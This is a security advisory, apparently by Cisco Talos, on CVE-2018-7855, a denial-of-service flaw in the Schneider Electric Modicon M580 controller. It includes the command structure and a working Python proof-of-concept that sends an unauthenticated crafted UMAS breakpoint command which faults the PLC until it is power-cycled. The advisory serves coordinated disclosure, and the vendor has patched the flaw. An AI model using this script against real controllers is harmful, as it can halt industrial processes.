CVE-2018-7855
An exploitable denial-of-service vulnerability exists in the UMAS set breakpoint functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.
Schneider Electric Modicon M580 BMEP582040 SV2.70
https://www.schneider-electric.com/en/work/campaign/m580-epac/
7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-248: Uncaught Exception
The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as “UMAS.”
Use of the UMAS function code 0x60 sets a breakpoint on the specified rung. When the device is placed into an executable mode, a successfully placed breakpoint will cause execution to pause until a step, continue, or other applicable command is issued. If a set breakpoint command is issued with certain parameters, it is possible to make the device enter a non-recoverable fault state, causing a denial-of-service condition.
The structure of the SET_BREAKPOINT command takes a form similar to:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E | F | G | H
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1 H | I |
+---+---+---+
A --> Modbus Function Code (0x5a)
B --> Session
C --> UMAS Function Code (0x60)
D --> Unknown (0x00000000)
E --> Break or Watch (0x0000)
F --> Unknown (0x00000000)
G --> Block Number (0x0000)
H --> Unknown (0xff00)
I --> Unknown (0x0000)
In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.
import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse
def send_message(sock, umas, data=None, wait_for_response=True):
if data == None:
packet = ModbusADURequest(transId=1)/umas
else:
packet = ModbusADURequest(transId=1)/umas/data
msg = "%s" % Raw(packet)
resp = ""
sock.send(msg)
if wait_for_response:
resp = sock.recv(2048)
return resp
def main():
rhost = "192.168.10.1"
rport = 502
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((rhost, rport))
# TAKE_PLC_RESERVATION
mbtcp_fnc = "\x5a"
init_session = "\x00"
umas_fnc = "\x10"
unknown = "\x25\x10\x00\x00"
client_name = "test"
client_name_len = len(client_name)
umas = "%s%s%s%s%s%s" % (mbtcp_fnc, init_session, umas_fnc, unknown, client_name_len, client_name)
res = send_message(sock=s, umas=umas)
if res[9] == "\xfe":
session = res[-1]
# breakpoint crash
mbtcp_fnc = "\x5a"
umas_fnc = "\x60"
data = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00"
umas = "%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, data)
try:
send_message(sock=s, umas=umas)
except socket.timeout:
pass
else:
print "[!] an error has occurred getting the PLC reservation"
# clean up
s.close()
if __name__ == '__main__':
main()
2019-01-29 - Vendor Disclosure
2019-04-17 - 90 day notice, extended public disclosure to 2019-05-29
2019-04-19 - Vendor provided timeline estimates for fixes/disclosures for multiple issues
2019-05-14 - Vendor patched
2019-05-20 - Vendor confirmed CVE assignment
2019-06-10 - Public Release
Discovered by Jared Rittle of Cisco Talos